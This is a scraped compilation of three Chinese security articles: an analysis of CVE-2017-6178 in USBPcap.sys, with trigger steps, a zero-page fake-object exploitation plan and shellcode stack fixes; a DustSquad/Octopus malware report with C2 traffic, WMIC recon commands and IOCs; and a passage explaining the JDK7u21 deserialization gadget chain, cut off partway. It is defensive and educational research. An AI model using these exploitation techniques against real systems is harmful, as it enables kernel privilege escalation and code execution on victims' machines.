这个判断是将edi+8中存放的值和ecx作比较，而ecx经过xor运算已经置0，也就是将edi+8存放的值和0作比较，我们知道CVE-2017-6178是一个未初始化指针引发的漏洞，那么这个很有可能就是对未初始化的情况做判断，来看一下补丁前的情况：
补丁后：
因此，增加了这个判断的函数，我们考虑是可能利用的攻击面，接下来，我们来构造能触发这个漏洞的PoC。
**2、CTL_CODE和Dispatch Routine**
对第三方驱动的攻击和对Windows
kernel的攻击有所不同，对驱动的攻击需要了解一些比较关键的过程，一个就是和驱动的交互过程，和IRP数据结构，其实这些内容网上有更多非常详细的内容，我对驱动也不是特别了解，但在对这个漏洞的调试和逆向的过程中也学到了不少东西，这里我分享一下和此漏洞有关的信息，其他和驱动相关的知识可以到网上搜索。
在驱动攻防中，很重要的就是和驱动交互的过程，其中要调用CreateFile来获取和设备交互的句柄，随后通过DeviceIOControl来完成和驱动的通信交互，同样这里复现这个PoC也有两种方法，一种比较方便是直接Fuzz，这里我分享一个比较好的驱动Fuzz开源工具DIBF-Fuzz：<https://github.com/iSECPartners/DIBF>
想和驱动交互，需要知道驱动设备的名称，以及对应的CTL_CODE，获取驱动设备的名称有很多种方法，比如直接逆向分析软件，比如注册表，比如直接运行驱动对应程序：
当然，也有一些工具可以辅助我们，比如Device Tree和WinOBJ等等。
这里直接打开程序可以看到有两个设备名称\\.USBPcap1和\\.USBPcap2，事实上这个两个驱动最后都会和USBPcap.sys交互，接下来我们需要获取CTL_CODE，CTL_CODE是DeviceIOControl函数中非常关键的参数，它并不单纯的是一个十六进制数，它的结构是这样的：
关于CTL_CODE各个比特位内容的含义网上有很多说明，这里我不进行赘述，其中比较关键的是Function，它决定了进入IRP分发的派遣函数中负责驱动具体功能函数后要执行的具体函数，当然，像DIBF这种Fuzzer会直接爆破CTL_CODE，比如从0x220000开始逐步加1，如果命中，则会执行具体函数，否则会返回ERROR
NTSTATUS。
在这个漏洞中，我们可以在我们认为可能存在漏洞函数下断点，然后去暴力跑CTL_CODE直到命中为止，但我们也可以逆向DeivceIOControl来看看其中的秘密，这样需要来简单分析一下DeviceIOControl函数到底做了什么。
关于DeviceIOControl的逆向分析比较长，这里我不详细介绍逆向过程只说明其中的关键点，首先我们来看一下DeviceIOControl的函数调用关系。DeviceIOControl刚开始是在用户态，随后会通过KiFastSyscall进入内核态。
在到达IofCallDriver之后，我们看到在IofCallDriver中会引用一个地址，这个地址保存着一个Dispatch
Routine，其中存放着IRP关于这个驱动的派遣函数地址。
可以看到，在Dispatch
Routine中存放着我们比较关心可能存在漏洞的函数地址0x91cdf85a，这个函数是一个IRP关于USBPcap驱动的派遣函数，并非是我们USBPcap.sys的具体驱动功能函数，也就是说，我们CTL_CODE中的Function部分的值并不重要，我们只需要想办法能令call
[eax+ecx*4+38]的值指向0x91cdf85a就可以了。
仔细分析IofCallDriver+0x5f的上下文，发现eax存放的是Dispatch
Routine指针，也就是说ecx决定了是否指向0x91cdea28，所以我们需要知道ecx寄存器存放的是什么。
经过我的分析，发现调整CTL_CODE，ecx的值总是0xe，经过计算之后，总是指向0x91cdea28，这个地址是USBPcap.sys中实现具体驱动功能的主函数，于是我向外层逆向，发现了ecx到底从哪里来的。这里我省略了逆向过程，来正向看一下ecx的整个赋值过程。
首先函数在IoXxxControlFile实现IRP结构的封装和分发。
PDEVICE_OBJECT __stdcall IopXxxControlFile(HANDLE Handle, HANDLE a2, int a3, int a4, int a5, int a6, int a7, SIZE_T NumberOfBytes, PVOID Address, SIZE_T Length, char a11)
{
……
result = (PDEVICE_OBJECT)ObReferenceObjectByHandle(
Handle,
0,
IoFileObjectType,
AccessMode[0],
&Object, // 通过handle值得到KTHREAD OBJECT
&HandleInformation);
v14 = Object; // 传给V14
……
if ( *((_DWORD *)v14 + 11) & 0x800 )
v18 = (PDEVICE_OBJECT)IoGetAttachedDevice(*((_DWORD *)v14 + 1));// 这里v18得到device object
else
v18 = IoGetRelatedDeviceObject((PFILE_OBJECT)v14);
Handlea = v18; // 将device object交给handlea
v26 = IoAllocateIrp(Handlea->StackSize, v42[0] == 0);// 分配IRP结构
v26->Tail.Overlay.OriginalFileObject = (PFILE_OBJECT)v14;
v26->Tail.Overlay.Thread = (PETHREAD)v38;
v26->Tail.Overlay.AuxiliaryBuffer = 0;
v26->RequestorMode = AccessMode[0];
v26->PendingReturned = 0;
v26->Cancel = 0;
v26->CancelRoutine = 0;
v26->UserEvent = Event;
v26->UserIosb = (PIO_STATUS_BLOCK)a5;
v26->Overlay.AllocationSize.LowPart = a3;
v26->Overlay.AllocationSize.HighPart = a4;
v28 = v26->Tail.Overlay.PacketType - 36; // key！
*(_DWORD *)v28 = (a11 != 0) + 13;//这里给后面ecx赋值
……
可以看到，这里会对Tail.Overlay.PacketType-36赋值，这个地方很关键，随后向内层跟踪到IofCallDriver函数中。
NTSTATUS __fastcall IofCallDriver(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
……
if ( --Irp->CurrentLocation <= 0 )
KeBugCheckEx(0x35u, (ULONG_PTR)Irp, 0, 0, 0);
v4 = Irp->Tail.Overlay.PacketType - 36;//获取Irp结构
Irp->Tail.Overlay.PacketType = v4;
v5 = *(_BYTE *)v4;//将其中存放的值交给v5
*(_DWORD *)(v4 + 20) = v2;
if ( v5 != 22 || (v6 = *(_BYTE *)(v4 + 1), v6 != 2) && v6 != 3 )
result = v2->DriverObject->MajorFunction[v5](v2, Irp);//在MajorFunction表中找到偏移并调用函数
}
这里v5的值就是v4中存放的值，也就是Tail.Overlay.PacketType-36地址位置存放的值，这是一个IRP中Tail结构里的Stack_Location，来看一下这个结构。
而关于Stack
Location的描述可以在MSDN中找到相关的信息，其中有一条就是Stack_Location中包含了IRP_MJ_XXXX，他们最终会指向MajorFunction中关于此驱动对应IRP派遣函数，这也就是ecx寄存器到底是什么。我们关注一下刚才我发的关于IoXxxControlFile函数中的，关于Stack_Location的赋值过程*(_DWORD
*)v28 = (a11 != 0) +
13;，这个赋值过程的关键是a11，而13的值就是0xD，根据这行代码的逻辑，当a11不为0时，值为1，那么ecx的值最后就为0xe，但若a11的值为0，那么值为0，则ecx的值就为0xD，观察一下之前我发的Dispatch
Routine，USBPcap.sys主函数偏移差4字节位置存放的就是我们要跟踪的关键函数0x91cdf85a。
那么a11就是决定我们能否到达可能存在漏洞函数的关键，a11是IoXxxControlFile的传入参数，来看一下之前函数流程，有两个外层调用。
NTSTATUS __stdcall NtDeviceIoControlFile(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength)
{
return (NTSTATUS)IopXxxControlFile(
FileHandle,
Event,
(int)ApcRoutine,
(int)ApcContext,
(int)IoStatusBlock,
IoControlCode,
(int)InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
1);
}
NTSTATUS __stdcall NtFsControlFile(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG FsControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength)
{
return (NTSTATUS)IopXxxControlFile(
FileHandle,
Event,
(int)ApcRoutine,
(int)ApcContext,
(int)IoStatusBlock,
FsControlCode,
(int)InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
0);
}
当调用NtDeviceIoControlFile的时候，a11的值为1，那么最后ecx索引值为1，结果是0xe，而当如果调用NtFsControlFile的时候，a11值为0，我们有可能到达漏洞函数，这样我们来看一下如何能令程序进入NtFsControlFile函数。
BOOL __stdcall DeviceIoControl(HANDLE hDevice, DWORD dwIoControlCode, LPVOID lpInBuffer, DWORD nInBufferSize, LPVOID lpOutBuffer, DWORD nOutBufferSize, LPDWORD lpBytesReturned, LPOVERLAPPED lpOverlapped)
{
HANDLE v8; // eax@2
NTSTATUS v9; // eax@3
NTSTATUS v11; // eax@13
struct _IO_STATUS_BLOCK IoStatusBlock; // [sp+10h] [bp-20h]@13
CPPEH_RECORD ms_exc; // [sp+18h] [bp-18h]@6
if ( !lpOverlapped )
{
if ( (dwIoControlCode & 0xFFFF0000) != 589824 )//将CTL CODE和0x90000做比较，如果相同，则执行NtFsControlFile，不同则执行NtDeviceIoControlFile
v11 = NtDeviceIoControlFile(
hDevice,
0,
0,
0,
&IoStatusBlock,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize);
else
v11 = NtFsControlFile(
hDevice,
0,
0,
0,
&IoStatusBlock,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize);
回溯到DeviceIoControl之后，我发现这里将dwIoControlCode和0XFFFF0000做了与运算，也就是保留高4位，然后和0x90000作比较，如果相等，则会进入NtFsControlFile，原来还是CTL_CODE决定了进入漏洞函数，但不是Function部分，而是DeviceType部分，来看一下我们常用对第三方驱动DeviceType的CTL_CODE值0x220000的定义，以及我们这次用到的0x90000的定义。
#define FILE_DEVICE_FILE_SYSTEM 0x00000009
#define FILE_DEVICE_UNKNOWN 0x00000022
这样，我们利用对驱动通信过程的回溯分析，找到了能命中可能存在漏洞的方法，首先利用CreateFile创建和\\.USBPcap1句柄，随后利用DeviceIOControl和设备通信，传递的CTL_CODE为0x90000。
文末我上传了关于这个漏洞的PoC，exp的话由于网络安全法刚刚颁布，关于exp的技术分享还不明晰暂时不公开，等确认是合法的技术分享后再公开。
随后我们引发了BSOD。
kd> r
eax=8700e8a8 ebx=868dd638 ecx=0000000d edx=8700e838 esi=00000000 edi=868dd628
eip=83e54587 esp=a1340ae0 ebp=a1340ae8 iopl=0 nv up ei ng nz na po cy
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010283
nt!IofCallDriver+0x57:
83e54587 8b4608 mov eax,dword ptr [esi+8] ds:0023:00000008=????????
BOOM!接下来我们进行漏洞分析。
**0x02 CVE-2017-6178漏洞分析**
其实这个漏洞形成原因非常简单，是一个简单的DeviceObject未初始化引发的漏洞，通过kb可以回溯堆栈调用。
kd> kb
# ChildEBP RetAddr Args to Child
00 a1340ae8 91cdf8a6 857e9948 868dd570 00000000 nt!IofCallDriver+0x57
WARNING: Stack unwind information not available. Following frames may be wrong.
01 a1340afc 83e54593 00000000 8700e838 8700e838 USBPcap+0x18a6
02 a1340b14 8404899f 857e9948 8700e838 8700e8a8 nt!IofCallDriver+0x63
03 a1340b34 8404bb71 868dd570 857e9948 00000001 nt!IopSynchronousServiceTail+0x1f8
04 a1340bd0 840746cc 868dd570 8700e838 00000000 nt!IopXxxControlFile+0x6aa
05 a1340c04 83e5b1ea 0000001c 00000000 00000000 nt!NtFsControlFile+0x2a
06 a1340c04 76df70b4 0000001c 00000000 00000000 nt!KiFastCallEntry+0x12a
07 002cfb08 76df5a14 751b7414 0000001c 00000000 ntdll!KiFastSystemCallRet
08 002cfb0c 751b7414 0000001c 00000000 00000000 ntdll!ZwFsControlFile+0xc
在USBPcap.sys中调用了IofCallDriver而引发了读取了0x0这个无效地址的值，引发了BSOD，这里esi寄存器的值为0x0，来看一下这个值由何而来。
NTSTATUS __fastcall IofCallDriver(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
v2 = DeviceObject;
if ( pIofCallDriver )
{
}
else
{
……
result = v2->DriverObject->MajorFunction[v5](v2, Irp);//漏洞位置，esi是v2的值，v2的值是DeviceObject，也就是说这是一个DeviceObject未初始化的原因
}
return result;
}
这里v2的值也就是esi寄存器的值是DeviceObject，而这个值是0x0，证明未给DeviceObject赋初值，来往外层回溯一下USBPcap.sys对应函数中。
if ( v3 >= 0 )
{
v5 = *(struct _DEVICE_OBJECT **)(v2 + 8);
++*((_BYTE *)Tag + 35);
*((_DWORD *)Tag + 24) += 36;
v6 = (struct _IO_REMOVE_LOCK *)(v2 + 16);
v7 = IofCallDriver(v5, (PIRP)Tag);
IoReleaseRemoveLockEx(v6, Tag, 0x18u);
result = v7;
在USBPcap.sys函数中，v5会获取v2+8的值，这里是一个DEVICE
OBJECT结构体，然后直接调用IofCallDriver，并将v5传入，这里没有对v5的值是否赋初值进行检查，而直接调用了IofCallDriver引发了漏洞，来看一下补丁后这里的结果。
if ( v4 >= 0 )
{
v6 = *(struct _DEVICE_OBJECT **)(v2 + 8);
if ( v6 )
{
++*((_BYTE *)Tag + 35);
*((_DWORD *)Tag + 24) += 36;
v7 = IofCallDriver(v6, (PIRP)Tag);
}
}
补丁后，对DEVICE_OBJECT的值进行了判断，若不为0，也就是赋初值了，才会正常调用IofCallDriver函数。完成了PoC，我们来最后完成对这个漏洞的利用。
**0x03 PWN!!**
其实关于这个漏洞利用非常简单，这个和我之前写过的MS16-034的利用过程很像，地址在：
<http://whereisk0shl.top/ssctf_pwn450_windows_kernel_exploitation_writeup.html>
在Win7下没有对零页地址的限制，可以直接在零页分配地址，来构造一个fake device object来进行赋值，同时来看一下漏洞利用前后的。
loc_437587:
mov eax, [esi+8]
push edx
movzx ecx, cl
push esi
call dword ptr [eax+ecx*4+38h]
这里esi的值由于未初始化是0x0，在零页申请地址后，我们可以在0x8中构造一个fake
address，这里直接是0x0就行，那么eax的值就是0x0，到最后call调用的就是0x0+ecx*4+0x38中存放的值，ecx在这里是定值0xd，那么最后相当于call
[6c]，我们申请完零页地址后，在6c部署shellcode，就能在Ring0态执行shellcode了。
到这里其实都没有问题，利用也很简单，但事实上在我们使用shellcode之后存在一个堆栈平衡的问题，导致常用的shellcode无法使用，需要进行一个小patch，来看一下这到底是是怎么回事。
首先，我们执行到shellcode末尾的时候，需要返回外层调用。
可以看到，之前的返回地址时83e54593，这个地址是IofCallDriver的地址，后面的返回地址时USBPcap.sys中的地址91cdf8a6，只有返回到USBPcap.sys中之后，才能正常通过USBPcap.sys中的ret结束和驱动通信。
但是这里，如果从shellcode返回到IofCallDriver后，来看一下上下文。
kd> u 83e54593 l4
nt!IofCallDriver+0x63:
83e54593 5e pop esi
83e54594 59 pop ecx
83e54595 5d pop ebp
83e54596 c3 ret
这里是3个pop，然后就ret了，这样到达不了上面我们分析的图中的USBPcap.sys的地址，而是返回到0x0这个地址中，随后会执行报错，因此这里我们需要打一个小补丁，其中一种方法就是在shellcode中，不让shellcode返回到IofCallDriver，而是直接返回到USBPcap.sys中，因此我们在shellcode要返回的时候，调整esp，直接将其指向USBPcap.sys的ret
address即可。
kd> u 13e103c l3
013e103c 61 popad
013e103d 83c424 add esp,24h
013e1040 c3 ret
通过add esp,24h，就可以保持堆栈平衡了。这样，我们利用EPROCESS的shellcode对token进行替换，完成Kernel PWN。
**0x04 关于补丁以及不成熟的脑洞**
到此我们完成了对CVE-2017-6178从补丁对比，到漏洞分析，其中比较麻烦的过程就是对DeviceIOControl的逆向过程，但也挺有意思了，了解到IRP这个驱动通信极重要结构体的一些功能，当然还存在很多的不足，需要在以后慢慢学习，驱动利用也是内核利用的一部分，也是很重要很有趣的一部分。
当然，经过刚才的分析，我发现在补丁中只是对device object对象是否为0进行了判断，而不是对device
object的合法性进行判断，也就是说，当device
object为一个任意不为0的值的时候，也能够绕过判断，那就导致如果指向的是一个我们可控的位置，就仍然存在漏洞，但我花了一段时间研究如何修改device
object的值，发现好像device object只能在内核层被赋值，有想过hook的想法，但终究没有实现，身边也没有有相关经验的小伙伴一起研究。
所以就算一个不成熟的脑洞，如果有师傅觉得可以做到，欢迎一起交流，最后感谢大家阅读！谢谢大家！
最后放一下我的CVE-2017-6178 POC地址，exp会在之后确认仅用于技术交流不触犯网络安全法后公开：
<https://github.com/k0keoyo/try_exploit/tree/master/_cve_2017_6178_poc> | 社区文章 |
# 伸向中亚地区的触手——DustSquad APT组织针对乌兹别克斯坦的活动分析
##### 译文声明
本文是翻译文章，文章原作者 Gcow安全团队，文章来源：Gcow安全团队
原文地址：<https://mp.weixin.qq.com/s/v1gi0bW79Ta644Dqer4qkw>
译文仅供参考，具体内容表达以及含义原文为准。
## 一.介绍
近日,Gcow安全团队的追影APT分析小组在公共的文件分析平台上捕获到了名为DustSpuad的APT组织,针对乌兹别克斯坦的外交部进行的一起网络攻击活动.所使用的正是名叫Octopus的Windows恶意程序
Octopus恶意程序的名称最初由ESET在2017年由APT组织在其旧C2服务器上使用的0ct0pus3.php脚本之后创造。卡巴斯基通过其监控平台发现Octopus恶意程序与DustSquad有关.在遥测中,我们发现这个组织对中亚共和国以及俄语系的国家产生着浓厚的兴趣
此外,该组织专注于中亚用户以及外交实体,并且通过文件中的特殊字符,以及其手法,推断该组织可能来源于俄罗斯
## 二.样本分析
### (一).释放者:
样本MD5 | 98b1c326572110a4c88c6741575910c2
---|---
样本SHA-1 | 081fa600a82793cf78e61e0b5dabb46f6ec1e565
样本SHA-256 | 139b40267aa028c8f4f509abdd88932167754ec863d26cb8e8352ab1d61ffa9f
样本名称 | исправленный вариан_18.11.2019г.rar
(固定版_2019.11.18)
### (二).压缩包所包含的文件:
(Octopus 加载器)
样本MD5 | 62fb5aa21f62e92586829520078c2561
---|---
样本SHA-1 | bbf8eaee7ce7c04562e618c0e45f11b060f99662
样本SHA-256 | f5941f3d8dc8d60581d4915d06d56acba74f3ffad543680a85037a8d3bf3f8bc
样本名称 | исправленный вариан_18.11.2019г.exe (固定版_2019.11.18)
伪装成word文件,拥有word的图标.对于一些安全意识差的人员。这种伪造手段的成功几率较高
通过ExeInfoPE工具查看样本信息,发现该程序由Delphi编写
根据我们的分析,该样本的主要恶意部分在start()函数内
现在我们将利用ollydbg的动态调试以针对该样本进行分析
**1).通过GetTickCount()和QueryPerformanceCounter()函数获取当前系统运行时间**
**2).信息收集部分**
1.收集本地IP地址:
通过初始化WSAStartup通过调用gethhostname()获取本地主机名称,再通过gethostbyname()传入获取的本地主机名称以获取本地IP地址
并且将收集好的地址以Local IP Addr:{本地IP地址}的形式进行拼接
2.本地计算机名称
通过GetComputerNameW()函数获取本地计算机的名称
并且将收集好的地址以Computer Name:{本地计算机名称}的形式进行拼接
3.收集当前用户名称
利用GetUserNameW()函数收集当前用户名称
并且将收集好的地址以User Name:{当前用户名称}的形式进行拼接
4.收集Windows文件夹目录
利用GetWindowsDirectoryW()函数获取当前系统的windows文件夹目录
并且将收集好的地址以Windows Dir:{Windows文件夹目录}的形式进行拼接
5.收集恶意样本所在的当前目录
调用GetMouduleFileNameW()函数获取恶意软件当前目录的完整路径
并且将收集好的地址以Current Dir:{文件所在目录}的形式进行拼接
6.获取盘符信息
利用GetDriveTypeW()函数获取各个盘符的属性以及名称
并且将收集好的地址以Volume list:{盘符名称加盘符大小}的形式进行拼接
最后将信息以
Start
Local IP Addr:{本地IP地址}
Computer Name:{本地计算机名称}
User Name:{当前用户名称}
Windows Dir:{Windows文件夹目录}
Current Dir:{文件所在目录}
Volume list:{盘符名称加盘符大小}
**3).C2中转:**
向http[:]//poisonfight[.]com/idea.php发送Post请求
check=c558838690881fa7f75807cfa94b3713
接受json格式的回显{“status”:”ok”}
判断是否返回为ok
接收到ok后,对远程C2服务器发起第二段post请求
http[:]//poisonfight[.]com/idea.php发送Post请求
servers=c558838690881fa7f75807cfa94b3713
返回的json结果为:
{“servers”:[{“ip_addr”:”cookiesqueen.com\/innovative”}]}
将回显的json进行截取拼接得到C2:http[:]//cookiesqueen[.]com/innovative.php
向C2端发送编码后的系统信息
S=sess_{随机字母组合} check={令牌编码}
(OD:)
(Anyrun)
加密规则是先进行了一次base64加密,再通过URL编码过滤掉敏感字符,解密如下:
为了方便大家理解这一过程,笔者浅显的画了一个草图
**4).文件下载**
向http[:]//cookiesqueen[.]com/innovative.php
发送post请求
l=ZG93bmxvYWQ%3D以及
s=sess_{随机字母组合} check={令牌编码}
(OD:)
(Anyrun:)
在上文中我们得知了该组织的报文解密方法,对此进行解密
下载文件于%Temp%\\{随机字母组合}
**5).载荷解压**
通过expand –d 命令获取当前cab压缩包中的内容
发现其中包含着java7.exe
利用extrac32.exe提取压缩包里的java7.exe于自启动文件夹下
此外,其会针对系统进行判断,若不属于其侦测范围的则不执行释放诱饵文档于桌面的行为
但我们在anyrun沙箱中看到了这个操作
释放的doc文档名为:èñïðàâëåííûé âàðèàíò_18.11.2019ã.doc
并且执行
诱饵界面为
部分译文为:
由此可见该活动针对的是乌兹别克斯坦的外交部门
并且恶意样本会记录该信息,base64编码后以Post形式反馈给C2
(OD:)
(Anyrun:)
收集之前的解压cab文件记录,以及解压后的文件路径以及遍历启动文件夹内的存在,确保后门的持久化运行
**6).载荷清理**
释放s.bat于%Temp%\下
写入s.bat
如下图所示
主要内容是判断你所运行的exe是否存在,若存在则删除,若不存在则删除自身
为了方便大家看着方便,笔者画了一幅流程图便于大家方便理解
### （三）.网络模块
(Octopus 被控端)
样本MD5 | bbb701630f30c5c85cebbc953b98ff38
---|---
样本SHA-1 | aab83db6b4682694fa972bb2aad982557d8e1afc
样本SHA-256 | 105402dd65ec1c53b6db68a0e21fcee5b72e161bc3b53e644695a4c9fae32909
样本名称 | Java7.exe
经过exeinfo PE查壳后发现其依旧使用delphi编写
**(一).获取%AppData%路径,并且释放.setting.ini,写入配置**
**(二）.像中转c2发出中转请求**
和加载器的手段一样,不再赘述
发送check请求,判断存活
发送Servers请求获得中转C2的json格式
拼凑字符串得到C2
**(三).收集信息**
1).收集当前计算机名称
执行命令
C:\windows\system32\wbem\WMIC.exe computersystem get name /format:list
2).收集系统安装时间
执行
C:\windows\system32\wbem\WMIC.exe os get installdate /format:list
3).获取本地盘符
执行
C:\windows\system32\wbem\WMIC.exe path CIM_LogicalDiskBasedOnPartition get
Antecedent,Dependent
4).收集序列号
执行
C:\windows\system32\wbem\WMIC.exe path win32_physicalmedia where
tag=”\\\\\\\\.\\\PHYSICALDRIVE0″ get serialnumber /format:list
此外,被控端拥有与记载器类同的收集信息部分,这里就不再赘述
**(四)发送报文并接受回显**
将收集到的信息以如下方式组成json格式
Base64编码后以Post方式向http[:]//cookiesqueen[.]com/innovative.php
?query=c558838690881fa7f75807cfa94b3713发送报文
报文解密后
接受返回指令为{“rt”:”30”}
## 三.组织关联
根据卡巴斯基于2018.10.15发布的关于DustSquad组织使用Octopus恶意软件攻击中亚地区的报告来看
(链接放在附录部分)
该活动与本活动有以下的几点共性
1).释放于自启动文件夹的被控端都拥有相同的Java图标
2).拥有部分重合的代码逻辑
3).相似的C2报文格式
4).类似的C2中转方式
5).相同的信息收集指令
根据以上信息我们基本上可以判断这次的攻击属于DustSquad组织利用Octopus恶意软件攻击乌兹比克斯坦的外交实体
## 四.总结
该组织能够熟练的进行投递rar文件的信息对目标进行攻击,并且使用Delphi的恶意软件,以及通过入侵一些正常网站,上传C2中转的PHP文件做到中转C2的操作,这样既可以避免了杀毒软件的静态查杀,又可以随时撤走载荷。
## 五.IOCs
样本Hash
|
文件名称
---|---
98b1c326572110a4c88c6741575910c2
|
исправленный вариан_18.11.2019г.rar
62fb5aa21f62e92586829520078c2561
|
исправленный вариан_18.11.2019г.exe
bbb701630f30c5c85cebbc953b98ff38
|
Java7.exe
C2:
http[:]//cookiesqueen[.]com/innovative.php
http[:]//poisonfight[.]com/idea.php
URL:
http[:]//poisonfight[.]com/idea.php?check= c558838690881fa7f75807cfa94b3713
http[:]//poisonfight[.]com/idea.php?servers= c558838690881fa7f75807cfa94b3713
http[:]//poisonfight[.]com/idea.php?servers= c558838690881fa7f75807cfa94b3713
http[:]//poisonfight[.]com/idea.php?query= c558838690881fa7f75807cfa94b3713
执行命令:
WMIC.exe computersystem get name /format:list
WMIC.exe os get installdate /format:list
WMIC.exe path CIM_LogicalDiskBasedOnPartition get Antecedent,Dependent
WMIC.exe path win32_physicalmedia where tag=”\\\\\\\\.\\\PHYSICALDRIVE0″ get
serialnumber /format:list
释放文件:
{自启动文件夹}/Java7.exe
%AppData%\\.settings.ini
%userprofile%\Desktop\èñïðàâëåííûé âàðèàíò_18.11.2019ã.doc
%Temp%\\{随机字符} | 社区文章 |
**作者：天融信阿尔法实验室**
**原文链接：<https://mp.weixin.qq.com/s/qlg3IzyIc79GABSSUyt-OQ>**
## 1\. Jdk7U21漏洞简介
谈到java的反序列化，就绕不开一个经典的漏洞，在ysoserial 的payloads目录下
有一个jdk7u21，以往的反序列化Gadget都是需要借助第三方库才可以成功执行，但是jdk7u21的Gadget执行过程中所用到的所有类都存在在JDK中，JRE版本<=7u21都会存在此漏洞
## 2\. Jdk7u21漏洞原理深入讲解
### 2.1 漏洞执行流程
整体的恶意对象的封装整理成了脑图，如下图所示
这里用到了TemplatesImpl对象来封装我们的恶意代码，其封装和代码执行的流程在[《Java 反序列化系列 ysoserial
Hibernate1》](https://mp.weixin.qq.com/s/O1ay4BHiyPBkotNIgDQ6Kg)中针对这种利用已经进行了详细的讲解，基本原理是通过动态字节码生成一个类，该类的静态代码块中存储有我们所要执行的恶意代码，最终通过TemplatesImpl.newTransformer()实例化该恶意类从而触发其静态代码块中的恶意代码，关于TemplatesImpl的详细分析可以去查看java
反序列化系列 Hibernate1中去学习了解。
首先最外层的是LinkedHashSet
类，看过该类源码的同学应该都清楚，该类其实是基于HashMap实现的。我们首先来看LinkedHashSet的readObject方法。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
}
该方法最后可以看到有一个for循环，将LinkedHashSet对象在序列化时一个一个被序列化的元素在反序列化回来。该循环体中有一行代码
`map.put(e,PRESENT)`
这里的map变量指向的是一个LinkedHashMap对象，PRESENT常量的值是一个空的Object对象由下图可知
此时的变量e指向的是我们实现封装进LinkedHashSet里的TemplatesImpl对象，里面存有我们的恶意代码
接下来我们来看LinkedHashMap.put方法的实现
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
大概流程就是判断其key值的hash是否一致
如果不一致则证明是一个新的元素从而加入到当前的HashMap对象中，如果hash一致则进行判断该元素是否存在于当前的HashMap中如果存在则返回oldValue,如果不存在则加入当前HashMap对象中。
这里核心关键点就是如何让程序执行到key.equals，此时的key指向的是我们通过动态代理生成的Proxy对象，我们知道调用Proxy对象的任何方法，本质上都是在调用，InvokcationHandler
对象中被重写的invoke方法。因为生成Proxy对象时传入的参数是InvokcationHandler的子类AnnotationInvocationHandler，所以自然要调用AnnotationInvocationHandler.invoke()方法。
我们来看该方法的具体实现
通过观察代码我们可以看到接下来会调用equalsImpl()方法，传入的var3参数是封装了我们恶意代码的TemplatesImpl对象
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
.....
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
......
在这里我们可以看到有这么一行代码`var8 =
var5.invoke(var1);`这里就会调用TemplatesImpl.newTransformer()从而实例化恶意类，这里的var1我们清楚是我们传递进来的TemplatesImpl对象，但是var5的结果是怎么来的还需要分析一下。
从代码中可以看到`Method var5 = var2[var4];` var4=0 而`var2= this.getMemberMethods()；`
跟入getMemberMethods()方法
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
该方法会循环获取AnnotationInvocationHandler.type中的方法，我们可以看到type对象指向了一个Templates.class对象
Templates是一个接口，该接口中只有两个抽象方法
所以getMemberMethods()方法返回的结果就是两个Method对象，一个是newTransformer的Method对象，一个是getOutputProperties的Method对象,这样我们是如何通过反射调用的TemplatesImpl.newTransformer()方法的逻辑就清晰了
### 2.2 如何构造满足条件的hash值
但是有一个问题还没有解决，那就是刚才所讲的所有代码逻辑，都要在`key.equals(k)`可以执行的前提下才可以，那么究竟怎样才能执行`key.equals(k)`呢，我们来重新看一遍LinkedHashMap.put方法的部分实现
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
......
}
可以看到 需要满足一些条件
才可以执行到`key.equals(k)`接下来就详细讲一讲如何才能满足以上这些条件，这是笔者个人觉得整个漏洞利用中最难也是最让人拍案叫绝的思路。
首先第一次调用`map.put()`时传入的参数e是我们封装了恶意代码的TemplatesImpl对象，另一个参数就是一个空的Object对象
由下图代码可知，我们需要计算出key 也就是恶意TemplatesImpl对象的hash值
深入看hash方法的实现
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by
